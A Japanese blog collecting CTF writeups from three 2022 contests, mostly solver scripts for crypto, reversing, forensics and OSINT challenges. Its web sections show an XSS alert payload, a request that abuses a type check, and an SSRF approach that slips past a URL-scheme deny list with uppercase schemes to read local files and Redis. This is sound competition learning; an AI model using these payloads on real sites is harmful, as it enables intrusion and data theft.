日記帳

CTFのWriteupや雑記など

UECTF2022 Writeup

はじめに

3819点で9位(88人参加*1)でした。普段解いていないジャンルの問題も沢山解けて楽しかったです。運営の皆さん、ありがとうございました。

MISC

caesar (68 solves)

ガイウス・ユリウス・カエサル Gaius Iulius Caesar

[caesar_source.py]    [caesar_output.txt]

問題名から、シーザー暗号でFlagが暗号化されているのだろうと推測できました。caesar_source.py の処理を確認してみると、通常のシーザー暗号とは異なるテーブルで変換していることがわかります。

ascii_all = ''
for i in range(len(ascii_uppercase)):
    ascii_all = ascii_all + ascii_uppercase[i] + ascii_lowercase[i]

letter = ascii_all + digits + punctuation

処理自体は複雑なものではないので、caesar_source.py と逆の処理をするようなスクリプトを書いて実行することで、Flagが得られました。

from string import ascii_uppercase, ascii_lowercase, digits,punctuation

def decode(ciphertext):
    plaintext = ''
    for i in ciphertext:
        index = letter.index(i)
        plaintext = plaintext + letter[(index - 14) % len(letter)]
    return plaintext

ascii_all = ''
for i in range(len(ascii_uppercase)):
    ascii_all = ascii_all + ascii_uppercase[i] + ascii_lowercase[i]

letter = ascii_all + digits + punctuation
with open('caesar_output.txt', 'r') as cipher_file:
    ciphertext = cipher_file.read()

plaintext = decode(ciphertext[:-1])
print(plaintext)

UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

redaction gone wrong 1 (71 solves)

NOBODY SHOULD JUST COPY AND PASTE MY FILES!

何人もコピペすべからず!

[challenge.pdf]

LibreOffice Drawで challenge.pdf を開き、PDF内のFlagを隠している黒い四角形を移動もしくは削除することでFlagが得られました。他にも解き方はたくさんあり...

  • PDFをテキスト形式に変換するツールを使用する
  • 問題文にて示唆されている通り、適当な場所をC&Pして内容をテキストファイルに貼り付ける

といった方法でも解けると思います。

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

redaction gone wrong 2 (54 solves)

We have found this image floating on the internet. Can you tell us what is the redacted text?

インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?

[flag.png]

StegOnlineflag.png をアップロードして、"LSB Half" オプションを選択することでFlagが薄く見える状態になりました。

UECTF{N3ver_ever_use_A_p3n_rofl}

GIF1 (59 solves)

GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…

I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...

[UEC_Anime.gif]

ffmpeg等のツールで UEC_Anime.gif をフレームごとに画像ファイルに分割することで、Flagが含まれている画像ファイルが得られました。

ffmpeg -i UEC_Anime.gif -vsync 0 frame%d.png

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

GIF2 (30 solves)

今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。

I tried to hide the flag in a GIF animation. It's not all about what people can see.

[UECTF.gif]

StegOnlineUECTF.gif をアップロードして、"LSB Half" オプションを選択することでFlagが薄く見える状態になりました。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

OSINT (13 solves)

There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!

あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔

https://twitter.com/__yata_nano__

Wayback MachineでURLを検索してみると、10月の時点のキャプチャが存在することがわかります。HTMLソースを確認してみると、アカウントIDを見つけることができました。

    "additionalName": "__yata_nano__",
    "description": "",
    "givenName": "name",
    "homeLocation": {
      "@type": "Place",
      "name": ""
    },
    "identifier": "1585261641125416961",

これをidtwiというサービスで検索することで現在のアカウントを特定することができました。

11月19日の午後7時59分のツイートに書かれているPastebinのURLにアクセスすることでFlagが得られます。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

WHEREAMI (16 solves)

あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?

You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?

[mail.txt]
ヒント:
彼はこの文字列はPlus codeだと言っていましたがよく分かりません。
He said it was a "plus code", but I have no idea what plus code is. Is any string with "+" character in it a "plus code"???

ヒントを確認することで、配布された mail.txt 内の文字列がPlus codeという場所を表すコードであることがわかります。それが約550個あり、かつ各コードの示す地点があまり離れていないことから、地図上にコードが示す地点をプロットしていくことで、Flagが得られると考えました。以下は配布ファイルを読み込み、それから得られた緯度・経度を folium というライブラリを用いて地図上にプロットするスクリプトです。

from openlocationcode import openlocationcode as olc
import folium

PLUS_CODE_FILE = 'mail.txt'

with open(PLUS_CODE_FILE, 'r') as pcfile:
    plus_code = pcfile.readlines()

flag_map = folium.Map(tiles='OpenStreetMap')
for pc in plus_code:
    decoded = olc.decode(pc[:-1])
    folium.Marker(location=[decoded.latitudeLo, decoded.longitudeLo]).add_to(flag_map)

flag_map

これをJupyter Notebookで実行することで、Flagが得られます。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

FORENSICS

Deleted (53 solves)

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file...

[image.raw]

FTK Imagerで配布されたイメージファイルを読み込むと、flag.png というFlagが書かれたファイルを確認することができます。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

compare (33 solves)

新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。

I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.

[UECTF_org.bmp]    [UECTF_new.bmp]

2つのビットマップ画像が配布されていたので、とりあえず xxd で16進数ダンプの状態にしたうえで、diff で差分を見てみました。UECTF_new.bmp にはFlagが1文字ずつ、数バイトごとに含まれていることがわかり、これを繋ぎ合わせるとFlagになります。

$ cat UECTF_org.bmp | xxd > org.txt
$ cat UECTF_new.bmp | xxd > new.txt
$ diff org.txt new.txt
6366c6366
< 00018dd0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff  ....U...........
6427c6427
< 000191a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff  .E..............
6490c6490
< 00019590: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 00019590: ffff ffff ffff ffff ffff ffff ffff 43ff  ..............C.
6547c6547
< 00019920: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 00019920: ffff ffff ffff ffff ffff ffff ffff ff54  ...............T
6588c6588
< 00019bb0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff  ........F.......
6628c6628
< 00019e30: ffff ffff ffff ffff ffff ffff ffff ffff  ................
---
> 00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff  .....{..........

UECTF{compare_two_files_byte_by_byte}

discord1 (30 solves)

数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…

A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...

[discord1.zip]

問題文から画像形式のFlagであること、Cache というフォルダが怪しいことを踏まえて、以下のように strings および grep コマンドで画像ファイルのURLを探してみました。

$ strings Cache/* | grep media.discordapp.net/attach
...
Fehttps://media.discordapp.net/attachments/1039034703644205099/1043039290101350401/flag.png?width=400&height=297
...

Flagらしきファイルは他にもありましたが、上記のURLにアクセスすることでFlagが得られました。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

discord2 (21 solves)

前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…

I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...

[discord2.zip]

Local Storage/leveldb 内のファイルにFlagが含まれていました。総当たりで全てのディレクトリに strings <directory_name>/* | grep UECTF していたのですが、Discordの編集中の内容をここから確認できることは初耳でした。勉強になります。

$ strings Local\ Storage/leveldb/* | grep UECTF

UECTF{Y0U_C4N_S33_Y0UR_DR4FT}

REV

A file (81 solves)

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

Someone erased a file extension. What contents is the file?

[chall]

file コマンドで配布ファイルを調べると、xz アーカイブ形式であることがわかったので、ファイルの名前を変更した上で解凍しました。解凍後のELFファイルにFlagの文字列が含まれていました。

$ mv ./chall ./chall.xz
$ unxz ./chall.xz
$ strings ./chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

revPython (20 solves)

What does this pyc file do?

これは?

[a.cpython-39.pyc]    [flag.jpg]

pycdcなどのツールを使用することで、(不完全ですが)配布されたPythonバイトコードファイルをデコンパイルすることができます。

デコンパイル後のコードを読むと、ファイルを UECTF{ という鍵でXORエンコードしているような処理が読み取れるので、以下のようなデコードスクリプトを作成してみました。

実行後に生成される flag_out.jpg からFlagが得られます。

FLAG_INPUT_FILE = 'flag.jpg'
FLAG_OUTPUT_FILE = 'flag_out.jpg'

prefix = b'UECTF{'
with open(FLAG_INPUT_FILE, 'rb') as flag_file:
    flag_dat = bytearray(flag_file.read())

for i in range(len(flag_dat)):
    flag_dat[i] ^= prefix[i % len(prefix)]

with open(FLAG_OUTPUT_FILE, 'wb') as decoded_file:
    decoded_file.write(flag_dat)

UECTF{oh..did1s0meh0wscr3wup??}

captain-hook (21 solves)

haha, good luck solving this

運も実力のうち!

[captainhook]

IDAで captainhook を静的解析すると、XORデコードしていそうな処理が見つかったので、以下のようなデコードスクリプトを書いて解きました。

encoded = bytes.fromhex('58960A710308090860BE247A2D1C163A69BA2D7A3C1C143A7EBC2553202C150D64A0765845')
key = 0x656173452549D30D
flag = ''

for i in range(0x25):
    a = ((i & 7) << 3) & 0xff
    flag += chr((encoded[i] ^ (key >> a)) & 0xff)

print(flag)

UECTF{hmmmm_how_did_you_solve_this?}

dotnet (11 solves)

簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)

I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)

[chall_x86_64_linux]

まず binwalk コマンドで chall_x86_64 に含まれているDLLファイルを全て抽出しました。

$ binwalk --dd="microsoft executable" chall_x86_64_linux --rm

たくさんのDLLファイルが抽出できますが、"Original Filename" が "UECTF2022_dotnet.dll" であるファイルが解析対象であると推測することができます。

問題文から、難読化が施されていると予想できたので、de4dot というツールを使用して難読化を解除しました。

> .\de4dot.exe .\A48B70

de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\REDACTED\A48B70)
Cleaning C:\REDACTED\A48B70
Renaming all obfuscated symbols
Saving C:\REDACTED\A48B70-cleaned

dnSpy等のツールに生成されたDLLファイルを読み込んで解析すると、XORエンコードらしき処理が読み取れるので、デコードスクリプトを書いて実行したところ、Flagが得られました。

encoded = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149]
flag = ''

for i in range(len(encoded)):
    flag += chr(encoded[i] ^ i ^ 170)

print(flag)

UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

discrete (16 solves)

Jumping around in memory

記憶の中でジャンプする

[chall]

angrでシンボリック実行を適用することでFlagを得ることができました。

import angr

EXEC_NAME = './chall'
FLAG_ADDR = 0x402144 # puts("Correct!");

p = angr.Project(EXEC_NAME, load_options={"auto_load_libs": False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find=FLAG_ADDR)

try:
    flag = simgr.found[0].posix.dumps(0)
    print(flag[:flag.find(b'\x00')].decode())
except IndexError:
    print("Something went wrong :(")

UECTF{dynamic_static_strings_2022}

WEB

webapi (42 solves)

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?

I created a web page that fetches flags from the server and displays them, but why doesn't it work?

http://uectf.uec.tokyo:4447

FLAG_URL という定数に代入されているURLを開くことでFlagが得られました。

  </div>
</body>

<script>
  const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/';
  fetch(FLAG_URL)
    .then(data => {
      document.getElementsByClassName('flag-data')[0].innerText = data;

UECTF{cors_is_browser_feature}

request-validation (21 solves)

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。

Can you request a object?

First, please check the flag acquisition in your environment.
http://uectf.uec.tokyo:4446

[request-validation.tar.gz]

GETリクエストのパラメータ q の型が object の場合のみ、Flagを返すようなWebアプリケーションが題材となった問題でした。

if (req.query.q && typeof req.query.q === 'object') {
  res.send(FLAG)
} else {
  res.send('invalid request')
}

全く事前知識がなかったので、とりあえず javascript object と検索すると、以下のページを見つけることができました。

pisuke-code.com

なんと、JavaScripttypeof では配列等を渡した場合、 object としか返されないらしいです。これを利用すれば良いと直感的に理解したので、以下のようなスクリプトを書いて実行してみたところ、Flagが得られました。

import requests

TARGET_URL = 'http://uectf.uec.tokyo:4446'
PAYLOAD = {'q': [1, 2, 3, 4, 5]}

req = requests.get(TARGET_URL, PAYLOAD)
print(req.text)

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

CRYPTO

RSA (57 solves)

RSA暗号でフラグを暗号化してみました!解読してみてください。
I encrypted the flag with the RSA cipher! Please try to decode it.

[output.txt]    [rsa_source.py]

output.txt に含まれている p , q , e , cipher textRsaCtfTool に渡して実行すると、Flagが得られました。

$ python3 RsaCtfTool.py --uncipher 40407051770242960331089168574985439308267920244282326945397 -p 1023912815644413192823405424909 -q 996359224633488278278270361951 -e 65537
private argument is not set, the private key will not be displayed, even if recovered.

Results for /tmp/tmpyznhht1g:

Unciphered data :
HEX : 0x55454354467b5253412d69532d566552792d35314d7031657d
INT (big endian) : 535251971441201547690579709091650584058216076608475543725437
INT (little endian) : 787118965001959771733939931024213066609133944657257179596117
utf-8 : UECTF{RSA-iS-VeRy-51Mp1e}
STR : b'UECTF{RSA-iS-VeRy-51Mp1e}'
HEX : 0x55454354467b5253412d69532d566552792d35314d7031657d
INT (big endian) : 535251971441201547690579709091650584058216076608475543725437
INT (little endian) : 787118965001959771733939931024213066609133944657257179596117
utf-8 : UECTF{RSA-iS-VeRy-51Mp1e}
STR : b'UECTF{RSA-iS-VeRy-51Mp1e}'

UECTF{RSA-iS-VeRy-51Mp1e}

さいごに

pwnが全然解けなかったし、頭の回転も遅いので、もっと勉強しないといけないと思いました。頑張ります。 :innocent:

*1:WELCOME問を解いた人数

SECCON CTF 2022 Quals Writeup

はじめに

ソロで参加して700チーム*1中145位でした。他参加者のWriteupを読むのが楽しくて、公開が遅れてしまいましたが、今回解けたreversingの2問のWriteupを共有できればと思います。
運営の皆さま、素晴らしいCTFを開催いただき、ありがとうございます!

babycmp (176 solves)

Crackme系の問題でよく見る、渡したコマンドライン引数を検証してFlagかどうか判定するプログラムが配布されていました。
angrでシンボリック実行を適用することでFlagを得ることができました

import angr
import claripy

EXEC_NAME = './chall.baby'
FLAG_ADDR = 0x4012CC # puts("Correct!");

p = angr.Project(EXEC_NAME, load_options={"auto_load_libs": False})

argv1 = claripy.BVS("argv1", 100*8)
state = p.factory.entry_state(args=[EXEC_NAME, argv1])

simgr = p.factory.simulation_manager(state)
simgr.explore(find=FLAG_ADDR)

try:
    found = simgr.found[0]
    solution = found.solver.eval(argv1, cast_to=bytes)
    flag = solution[:solution.find(b"\x00")].decode()
    print(flag)
except IndexError:
    print("Something went wrong :(")

SECCON{y0u_f0und_7h3_baby_flag_YaY}

eguite (86 solves)

Rustで書かれたGUIアプリケーションが配布されていました。IDAで静的解析したところ、 eguite::Crackme::onclick::ha26112793d42c9d8 という興味深い関数を見つけることができます。処理を読んでみると、まず入力が SECCON{ で始まること、そして入力の 0x2b 文字目が } であるか検証していることがわかります。

ここでgdbをアタッチした状態でアプリケーションを実行し、先述した関数の適当な場所にブレークポイントを設置したうえで、適当な入力(例: SECCON{0123456789abcdefghijklmnopqrstuvwxy} を与えてみます。するとブレークポイントを設置した場所で実行が停止するので、そこからステップ実行していき、正しいと思われる(戻り値が0にならない)処理が実行されるよう入力を調整していくことで、以下の情報を得ることができます

  1. Flagは SECCON{AAAAAAAAAAAA-BBBBBB-CCCCCC-DDDDDDDD} のような形式
  2. AAA...BBB... は数値 (16進数で表記)
  3. Flagが正しいか判定するために、以下のチェックが行われる
    • AAA... + BBB... == 0x8B228BF35F6A
    • CCC... + BBB... == 0xE78241
    • DDD... + CCC... == 0xFA4C1A9F
    • AAA... + DDD... == 0x8B238557F7C8
    • BBB... ^ CCC... ^ DDD... == 0xF9686F4D

以上の情報をもとに、各値を求めることでFlagが得られます。

from z3 import *

s = Solver()

p1 = BitVec("p1", 8 * 6)
p2 = BitVec("p2", 8 * 6)
p3 = BitVec("p3", 8 * 6)
p4 = BitVec("p4", 8 * 6)

s.add(p1 + p2 == 0x8B228BF35F6A)
s.add(p3 + p2 == 0xE78241)
s.add(p4 + p3 == 0xFA4C1A9F)
s.add(p1 + p4 == 0x8B238557F7C8)
s.add(p2 ^ p3 ^ p4 == 0xF9686F4D)

if s.check() == z3.sat:
    flag1 = hex(s.model()[p1].as_long())[2:].zfill(12)
    flag2 = hex(s.model()[p2].as_long())[2:].zfill(6)
    flag3 = hex(s.model()[p3].as_long())[2:].zfill(6)
    flag4 = hex(s.model()[p4].as_long())[2:].zfill(8)
    print('[+] SECCON{' + flag1 + '-' + flag2 + '-' + flag3 + '-' + flag4 + '}')
else:
    print('[-] Something went wrong :(')

得られたFlagを入力すると "Successfully validated!" と表示される

SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}

さいごに

残念ながら解けていないのですが*2、今回特に "DoroboH" という問題から色々な学びを得ることができました。検証してわかったことも色々あるので、何らかの形でアウトプットすることができればと思っています。

*1:Welcome問を解いたチーム

*2:秘密鍵をメモリダンプから復元する方法が思いつかず、10時間以上バイナリエディタと格闘していました

TsukuCTF 2022 Writeup

チーム mopisec としてソロで参加して7258pts (23位)でした。解けなかった問題も含め、試したこと・解法・反省点などをまとめています。

Tsukushi

Welcome (378 solves)

Please join our Discord!

Discordの #🚩-welcome-to-tsukuctf のトピック欄にFlagが書かれていました。

TsukuCTF22{Welcome_to_TsukuCTF_2022!!!!}

OSINT

Attack of Tsukushi (215 solves)

つくしくんはある観光地を調査した際に訪れた駅で写真を撮影した。果たしてこの写真が撮られた駅はどこだろうか?

Google Lensで画像を検索することで、写真がJR日田駅で撮影されたものだとわかります。

TsukuCTF22{8770013}

Money (199 solves)

どこ?

Google Lensで画像を検索することで、写真が金閣寺で撮影されたものだとわかります。

TsukuCTF22{6038361}

FlyMeToTheTsukushi (169 solves)

つくし君は、はるばる飛行機で愛するパートナーのもとへやってきました。
ここはどこの空港かわかりますか?

A350という機体名が見えるので、その機体を運用している空港を総当たりすることで解けます。

TsukuCTF22{福岡}

inuyama082 (142 solves)

つくし君は愛知県犬山市にデートに来た時の思い出の写真を見返しています。 おいしそうな写真を見つけ、おやつが食べたくなりました。 写真のおやつの名前を教えてください。

Google Lensで画像ファイルを検索することで、「犬山カフェよあけや」というお店の「和チーズケーキ&抹茶」というスイーツだとわかります。ただしそれだけでは不十分らしく、カフェの公式サイトに書いてある ver.煎茶パウダー を付け足すことで、正答となりました。

すごく美味しそうなので、愛知県に行った際には是非立ち寄りたいと思います!

TsukuCTF22{和チーズケーキ ver.煎茶パウダー}

sky (113 solves)

帰ってくるあなたが最高のプレゼント。つくし君は電車にガタゴト揺られています。次の停車駅で降りるようなのですが、どこかわかりますか?

座席の収納棚の中に「名鉄沿線おでかけマガジンWind」という情報誌が入っています。配布場所は名鉄各駅と空港特急ミュースカイ車内のみらしいので、空港特急ミュースカイの停車駅を総当たりすることで解けます。

TsukuCTF22{名鉄名古屋}

station (110 solves)

つくし君はとある駅で友達を待っています。さて、つくし君はどこの駅にいるでしょうか?

最初の文字が見切れていますが、...郷7丁目 , ...郷13丁目 , ...郷18丁目 という駅名らしき文字列が写真に含まれています。

駅名を検索することで、恐らく見切れている文字は であること、そしてその路線が 東西線 であることがわかります。一番上の見切れている駅名 ...前 が答えだと推測し、南郷7丁目 など他の駅名の位置から 西11丁目 が答えであるとわかりました。

TsukuCTF22{西11丁目}

douro (101 solves)

旅行中のつくし君は迷子になってしまったようです。うつむいています。送られてきた写真から場所を特定できますか?

道路上のデザインから よいほモール という文字列が読み取れるので、Google Map (およびそのストリートビュー)で検索して、撮影地点を特定した。

TsukuCTF22{34.5770_136.5309}

Where (98 solves)

北海道に住んでいるつくしさんは東京旅行に行った際に高層ビルの窓から写真を撮りました。
でも撮影した場所を忘れてしまったようです。この写真が撮影された場所について建物名を教えてあげてください。

東日本銀行など、目立つ看板から情報を集め、Google Earthで調べたところ、撮影地点が「渋谷パルコ」だとわかりました。

TsukuCTF22{1973/06/14}

Gorgeous Interior Bus (83 solves)

観光地に来たつくし君は、豪華なバスを見かけたので、それに乗って観光することにしました。 その時、つくし君のお母さんから「どこにいるの?」と連絡が着ましたが、おっちょこちょいなつくし君は、観光地の名前も、乗っているバスの路線も忘れてしまい、とっさに車内の写真を撮って、「ここ」と返信しました。 つくしくんはどこにいるのでしょうか? つくしくんが写真を撮ったところに最も近い交差点の名前を特定してください。

正面のモニター内の情報から、バスが「...スパあたみ」へ向かっていることがわかります。また次のバス停が「...水公園」だということもわかります。

以上の情報をもとに、Google Map上で調査することで、最も近い交差点が「東海岸町」であることがわかります。

TsukuCTF22{東海岸町}

Bringer_of_happpiness (75 solves)

つくしくんは荷物を運び終えて休憩してるときに撮った写真。さて撮影場所はどこだろう?

Google Lensで画像を検索することで写っている黄色い電車が島原鉄道のものだとわかります。島原鉄道の駅を一つずつGoogle Map (およびストリートビュー)で調べると、写真に写っている駅が「島原港駅」であることもわかります。撮影地点の緯度・経度(駅から若干ずれている)を調べて回答することで、正答となりました。

TsukuCTF22{32.7693_130.3707}

Desk (69 solves)

つくし君の大好きなお姉さんのデスクを見学させてもらったよ。 さて、このデスクはどこにあるのだろうか?

机の上のクリアファイル内の資料から、写真が恐らく沖縄県で撮影されたものだとわかりました。また、席札内のロゴが「南城市」のものであるとわかりました。

南城市に関係する施設(市役所など)のうち、南城市観光協会の郵便番号を試したところ、正答となった。

TsukuCTF22{9011511}

TakaiTakai (53 solves)

日本の町は美しい。撮影地を答えてください。

フラグはこの建物の開業日(YYYY/MM/DD)です。たとえば、東京スカイツリーの開業日は2012年5月22日なので、フラグは TsukuCTF22{2012/05/22} となります。

TakaiTakai.jpg

文字情報が見当たらず、解くまでにかなり時間を使ってしまった問題でした。写真右奥の建物をGoogle Lensを使って「中目黒アトラスタワー」だと突き止めた後、Google Earthを使って周辺の建物と写真内の建物を見比べて、少しずつ候補となる建物を絞っていき、最終的に撮影地点が「渋谷ソラスタ」だとわかりました。

TsukuCTF22{2019/03/29}

PaperJack (51 solves)

イケメンのつくしくんは訪れている場所の写真をSNSに投稿したところ、ストーカーに特定されてしまった。ストーカー曰く「好きなゲームと新聞がコラボしたときの広告にこの場所が映っていたのを思い出した」とのことだった。

「ゲーム 新聞 広告 観光名所」のようなキーワードで調べてみると、"Fate/Grand Order" というゲームの5周年記念でそのような企画があったとわかり、撮影場所が和歌山県道成寺であると突き止めることができた。

TsukuCTF22{6491331}

banana (44 solves)

Google Lensで画像を検索することで、撮影場所がグアムの「デデド朝市会場」のトイレであることがわかった。周辺の緯度経度を何度か提出することで正答となった。

TsukuCTF22{13.5209_144.8287}

Robot (33 solves)

つくし君がロボット見学に訪れた施設はどこ?

写真に写っているイベント名や建物の名前(中国語)を検索することで、华南理工大学の英語表記である "South China University of Technology" が答えであることがわかった。

TsukuCTF22{South China University of Technology}

Flash (26 solves)

つくし君からマイコンボードを借りたら、このマイコンを使って実験を行ったホテルと部屋番号がわかってしまった!! マイコンフラッシュメモリから読みだしたデータを渡すので、ホテル名と部屋番号を特定してください。

ESP32というマイコンフラッシュメモリから読みだしたデータが配布されていました。データの解析手法について調べるとesp32_image_parserというツールキットを発見することができました。

github.com

このツールを使って、データからNVS(Non Volatile Storage)領域をJSON形式で抽出したところ、Wi-FiSSIDを確認することができました。

$ python3 esp32_image_parser.py dump_nvs Flash.bin -partition nvs -nvs_output_type json
...
{"entry_state": "Written", "entry_ns_index": 2, "entry_ns": "nvs.net80211", "entry_type": "BLOB_DATA", "entry_span": 3, "entry_chunk_index": 128, "entry_key": "sta.ssid", "entry_data_type": "BLOB_DATA", "entry_data_size": 36, "entry_data": "DAAAAGFwYS0zMTYtMjQyOAAAAAAAAAAAAAAAAAAAAAAAAAAA"},
...
$ echo "DAAAAGFwYS0zMTYtMjQyOAAAAAAAAAAAAAAAAAAAAAAAAAAA" | base64 -d

apa-316-2428

SSID内の apa および問題文にある「ホテル」という情報から、アパホテルのNo. 316、つまり「アパホテル&リゾート〈両国駅タワー〉」であり、残った2428は部屋番号であると推測することができました。

TsukuCTF22{アパホテル&リゾート〈両国駅タワー〉_2428}

Web

bughunter (86 solves)

天才ハッカーのつくし君は、どんなサイトの脆弱性でも見つけることができます。 あなたも彼のようにこのサイトの脆弱性を見つけることができますか? 見つけたら私たちに報告してください。

問題サーバにアクセスすると「超絶安全なサイト」というWebページを確認することができます。

超絶安全なサイトらしい

ページ上の情報から、URLの末尾に ?tsukushi=<script>alert(document.domain)</script> を付け足してアクセスしてみると、想定通りalertを発火させることができました。

alertが発火した(XSS脆弱性が存在する)

どうすればFlagを得られるのか考えていると、公式のDiscordにて運営の方が

Look at the tags.
...
No XSS
its RFC...

と書き込まれていたので、スコアサーバを再度確認したところ問題に RFC9116 というタグが付けられていました。そこで .well-known/security.txt にアクセスしたところ、Flagを見つけることができました。

.well-known/security.txt

TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

viewer (8 solves; not solved)

Writeups for TsukuCTF21 have been published. Check them out if you'd like!

問題サーバにアクセスすると、TsukuCTF21のWriteupを閲覧することができるWebアプリケーションが動作していることがわかります。

名前を入力する

任意の問題のWriteupを閲覧できる

ソースコード (app/app.py) を読むと、POSTされたURLにPycURLでアクセスして、取得したデータを返すような機能が実装されていることがわかります。

    if request.method == "POST":
        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)
    return render_template("index.html", data=None, name=name)

処理の流れを順を追ってみていきます。まずPOSTされたURLは url_sanitizer 関数によってサニタイズされています。

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

http , https 以外のスキームがURLに含まれていた場合、https://fans.sechack365.com が返されてしまうようです。これは GOPHERFILE のように、スキームを大文字で表記することで回避できると思いつきました。

次にPycURLでURLにアクセスし、取得したデータを response_sanitizer 関数によってサニタイズしています。

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

このため、例え FILE:///var/www/app.py のようなURLをPOSTしたとしても、Flagを取得することはできません。*1

実はFlagはWebアプリケーションが実行されたタイミングでRedisにも格納されています。

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

そこでRedisに格納されているFlagをSSRFで読み出そうと思ったのですが、名前の登録を行った時点で、Flagが消滅してしまうことがわかりました。

# 初期状態
127.0.0.1:6379> keys *
1) "9c513303-8a9b-4eb1-bddc-b55f877c54c4"
127.0.0.1:6379> get "9c513303-8a9b-4eb1-bddc-b55f877c54c4"
"{\"id\": \"9c513303-8a9b-4eb1-bddc-b55f877c54c4\", \"name\": \"TsukuCTF22{dummy flag}\"}"

# 名前を登録した後
127.0.0.1:6379> get "9c513303-8a9b-4eb1-bddc-b55f877c54c4"
"{\"id\": \"c74a552f-78d5-4ea8-ac2c-21a3abfb6916\", \"name\": \"taro\"}"
@app.route("/register", methods=["POST"])
def register_post():
    name = request.form.get("name")
    # 入力した名前でFlagを上書きしている
